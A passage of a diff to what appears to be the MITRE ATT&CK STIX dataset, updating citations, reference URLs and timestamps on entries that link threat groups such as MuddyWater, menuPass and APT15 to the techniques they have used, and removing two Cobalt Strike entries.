"relationship--beda360a-6477-48b9-b7d1-4643d02bc3c9", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has performed credential dumping with [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has performed credential dumping with [Mimikatz](https://attack.mitre.org/software/S0002) and procdump64.exe.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: Trend Micro Muddy Water March 2021)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "source_name": "Unit 42 MuddyWater Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/", "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", - "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + "source_name": "Unit 42 MuddyWater Nov 2017" }, { - "source_name": "Symantec MuddyWater Dec 2018", + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group", - "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018." + "source_name": "Symantec MuddyWater Dec 2018" + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." } ], "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "relationship_type": "uses", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "type": "relationship", - "modified": "2020-03-19T23:45:03.330Z", + "modified": "2021-03-19T13:07:57.549Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -46857,14 +48725,14 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704", "relationship_type": "uses", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "type": "relationship", - "modified": "2020-03-19T23:39:31.650Z", + "modified": "2021-04-21T16:41:34.617Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -46904,27 +48772,32 @@ { "id": "relationship--998650da-f301-46be-ab18-38d14359530b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[menuPass](https://attack.mitre.org/groups/G0045) has encoded strings in its malware with base64 as well as with a simple, single-byte XOR obfuscation using key 0x40.(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has encoded strings in its malware with base64 as well as with a simple, single-byte XOR obfuscation using key 0x40.(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: Symantec Cicada November 2020)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf", + "source_name": "Accenture Hogfish April 2018", "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", - "source_name": "Accenture Hogfish April 2018" + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" }, { - "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", + "source_name": "FireEye APT10 Sept 2018", "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", - "source_name": "FireEye APT10 Sept 2018" + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + }, + { + "source_name": "Symantec Cicada November 2020", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020." } ], "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "relationship_type": "uses", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "type": "relationship", - "modified": "2019-09-03T18:50:16.372Z", + "modified": "2020-12-17T18:57:21.333Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -47354,15 +49227,15 @@ { "id": "relationship--350e9dad-4dd3-450f-b649-60340710505a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[menuPass](https://attack.mitre.org/groups/G0045) has attempted to get victims to open malicious files such as Windows Shortcuts (.lnk) and/or Microsoft Office documents, sent via email as part of spearphishing campaigns.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)(Citation: Accenture Hogfish April 2018)(Citation: DOJ APT10 Dec 2018)(Citation: FireEye APT10 Sept 2018)", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has attempted to get victims to open malicious files such as Windows Shortcuts (.lnk) and/or Microsoft Office documents, sent via email as part of spearphishing campaigns.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: District Court of NY APT10 Indictment December 2018)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", - "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + "source_name": "PWC Cloud Hopper Technical Annex April 2017" }, { "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html", @@ -47370,26 +49243,26 @@ "source_name": "FireEye APT10 April 2017" }, { - "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf", + "source_name": "Accenture Hogfish April 2018", "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", - "source_name": "Accenture Hogfish April 2018" + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" }, { - "source_name": "DOJ APT10 Dec 2018", - "url": "https://www.justice.gov/opa/press-release/file/1121706/download", - "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019." - }, - { - "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", + "source_name": "FireEye APT10 Sept 2018", "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", - "source_name": "FireEye APT10 Sept 2018" + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + }, + { + "source_name": "District Court of NY APT10 Indictment December 2018", + "url": "https://www.justice.gov/opa/page/file/1122671/download", + "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020." } ], "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "relationship_type": "uses", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "type": "relationship", - "modified": "2020-03-17T14:49:20.132Z", + "modified": "2020-12-17T20:15:30.700Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -47484,27 +49357,32 @@ { "id": "relationship--27ead6bc-2bba-49d3-bcfe-667c7654a6fc", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used Remote Desktop Protocol for lateral movement. The group has also used tunneling tools to tunnel RDP into the environment.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used Remote Desktop Protocol for lateral movement. The group has also used tunneling tools to tunnel RDP into the environment.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: Crowdstrike GTR2020 Mar 2020)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/", "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", - "url": "https://pan-unit42.github.io/playbook_viewer/" + "source_name": "Unit 42 Playbook Dec 2017" }, { "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east", "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", "source_name": "FireEye APT34 Webinar Dec 2017" + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." } ], "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "relationship_type": "uses", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "type": "relationship", - "modified": "2019-09-04T22:55:41.022Z", + "modified": "2020-12-22T18:05:30.596Z", "created": "2018-01-16T16:13:52.465Z" }, { @@ -47605,16 +49483,16 @@ ], "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "relationship_type": "uses", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "type": "relationship", - "modified": "2019-04-22T15:08:48.324Z", + "modified": "2021-03-29T19:54:46.094Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -47685,27 +49563,6 @@ "modified": "2020-03-16T16:57:13.390Z", "created": "2018-10-17T00:14:20.652Z" }, - { - "id": "relationship--2c417522-9fa6-4f95-b9d6-062c9c2401b5", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154)'s \"beacon\" payload can collect information on process details.(Citation: cobaltstrike manual)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "type": "relationship", - "modified": "2019-06-06T19:04:39.207Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--98229d5a-fce3-442e-91cf-7ec7b7994248", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -47767,16 +49624,16 @@ "source_name": "Villeneuve et al 2014" }, { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "relationship_type": "uses", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "type": "relationship", - "modified": "2019-04-22T15:08:48.325Z", + "modified": "2021-03-29T19:54:46.089Z", "created": "2017-05-31T21:33:27.033Z" }, { @@ -48115,14 +49972,14 @@ { "source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", - "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf" } ], "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", "relationship_type": "uses", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "type": "relationship", - "modified": "2020-03-20T21:11:07.675Z", + "modified": "2020-11-23T17:03:38.608Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -48135,7 +49992,8 @@ "external_references": [ { "source_name": "DustySky", - "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016." + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" }, { "source_name": "Kaspersky MoleRATs April 2019", @@ -48147,7 +50005,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "type": "relationship", - "modified": "2020-05-14T15:14:33.552Z", + "modified": "2021-04-27T19:53:20.412Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -48751,7 +50609,7 @@ ], "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/", + "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/", "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "source_name": "Nccgroup Emissary Panda May 2018" } @@ -48760,7 +50618,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", "type": "relationship", - "modified": "2019-07-14T21:15:54.946Z", + "modified": "2021-03-29T19:43:26.737Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -49217,16 +51075,16 @@ "source_name": "Villeneuve et al 2014" }, { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "relationship_type": "uses", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "type": "relationship", - "modified": "2020-03-19T23:03:33.851Z", + "modified": "2021-03-29T19:54:46.121Z", "created": "2017-05-31T21:33:27.033Z" }, { @@ -49644,16 +51502,16 @@ "source_name": "Villeneuve et al 2014" }, { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "relationship_type": "uses", "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "type": "relationship", - "modified": "2019-04-22T15:08:48.356Z", + "modified": "2021-03-29T19:54:46.096Z", "created": "2017-05-31T21:33:27.032Z" }, { @@ -49840,14 +51698,19 @@ "target_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", "external_references": [ { - "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html", + "source_name": "Talos Cobalt Group July 2018", "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", - "source_name": "Talos Cobalt Group July 2018" + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." } ], - "description": "(Citation: Talos Cobalt Group July 2018)", + "description": "(Citation: Talos Cobalt Group July 2018)(Citation: Crowdstrike GTR2020 Mar 2020)", "type": "relationship", - "modified": "2019-07-26T23:38:34.190Z", + "modified": "2020-12-11T15:45:50.921Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -50064,7 +51927,7 @@ }, { "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", - "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", "source_name": "NCSC Joint Report Public Tools" } ], @@ -50072,7 +51935,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "type": "relationship", - "modified": "2020-03-17T19:09:44.944Z", + "modified": "2021-01-25T15:43:45.775Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -50096,27 +51959,6 @@ "modified": "2019-06-10T19:28:00.981Z", "created": "2017-05-31T21:33:27.034Z" }, - { - "id": "relationship--5b9fbec2-0e72-44ef-94a5-a9f702469c93", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154)'s \"beacon\" payload is capable of running shell commands without cmd.exe and PowerShell commands without powershell.exe(Citation: cobaltstrike manual)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", - "type": "relationship", - "modified": "2019-06-06T19:04:39.209Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--f81df2c8-1edd-4734-a1c9-cca6e4c56607", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -50147,7 +51989,7 @@ ], "external_references": [ { - "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", "source_name": "McAfee Lazarus Resurfaces Feb 2018" } @@ -50156,7 +51998,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "type": "relationship", - "modified": "2020-03-20T18:15:41.915Z", + "modified": "2020-12-11T17:47:22.639Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -50267,14 +52109,14 @@ { "source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", - "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf" } ], "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", "relationship_type": "uses", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "type": "relationship", - "modified": "2019-04-24T23:17:25.109Z", + "modified": "2020-11-23T17:03:38.650Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -50418,14 +52260,14 @@ { "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "source_ref": "tool--33b9e38f-103c-412d-bdcf-904a91fff1e4", "relationship_type": "uses", "target_ref": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a", "type": "relationship", - "modified": "2020-03-16T16:54:04.180Z", + "modified": "2021-03-29T19:54:46.073Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -50537,7 +52379,7 @@ }, { "source_name": "NCCGroup RokRat Nov 2018", - "url": "https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/november/rokrat-analysis/", + "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/", "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020." } ], @@ -50545,7 +52387,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "type": "relationship", - "modified": "2020-05-21T17:07:02.485Z", + "modified": "2021-03-29T19:50:54.197Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -50641,9 +52483,9 @@ ], "external_references": [ { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" }, { "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China", @@ -50660,7 +52502,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "type": "relationship", - "modified": "2019-03-22T20:15:19.414Z", + "modified": "2021-01-06T19:32:28.685Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -50737,14 +52579,14 @@ { "source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", - "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf" } ], "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", "relationship_type": "uses", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "type": "relationship", - "modified": "2019-04-24T23:17:25.121Z", + "modified": "2020-11-23T17:03:38.700Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -50972,7 +52814,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", "type": "relationship", - "modified": "2020-02-04T20:14:11.783Z", + "modified": "2021-04-22T20:23:01.712Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -51641,14 +53483,14 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", "relationship_type": "uses", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "type": "relationship", - "modified": "2020-03-30T18:21:44.404Z", + "modified": "2021-04-21T16:41:34.710Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -51994,15 +53836,20 @@ "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", "url": "https://securelist.com/muddywater/88059/", "source_name": "Securelist MuddyWater Oct 2018" + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." } ], - "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can collect the victim\u2019s username.(Citation: Securelist MuddyWater Oct 2018)", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can collect the victim\u2019s username.(Citation: Securelist MuddyWater Oct 2018)(Citation: Trend Micro Muddy Water March 2021)", "id": "relationship--d1d496f1-fa91-404e-a93a-97670817717a", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "relationship_type": "uses", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "type": "relationship", - "modified": "2019-06-28T15:30:58.475Z", + "modified": "2021-03-19T13:43:29.624Z", "created": "2019-01-30T17:33:41.163Z" }, { @@ -52297,16 +54144,16 @@ ], "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "relationship_type": "uses", "target_ref": "attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1", "type": "relationship", - "modified": "2020-03-17T17:25:19.356Z", + "modified": "2021-03-29T19:54:46.124Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -53166,7 +55013,7 @@ { "id": "relationship--e7a0b7a4-b49b-46b9-9bfa-5db0a87dd09e", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[SeaDuke](https://attack.mitre.org/software/S0053) uses a module to execute Mimikatz with PowerShell to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1097).(Citation: Symantec Seaduke 2015)", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) uses a module to execute Mimikatz with PowerShell to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003).(Citation: Symantec Seaduke 2015)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -53181,7 +55028,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "type": "relationship", - "modified": "2020-03-17T02:32:22.833Z", + "modified": "2021-04-26T17:40:17.326Z", "created": "2017-12-14T16:46:06.044Z" }, { 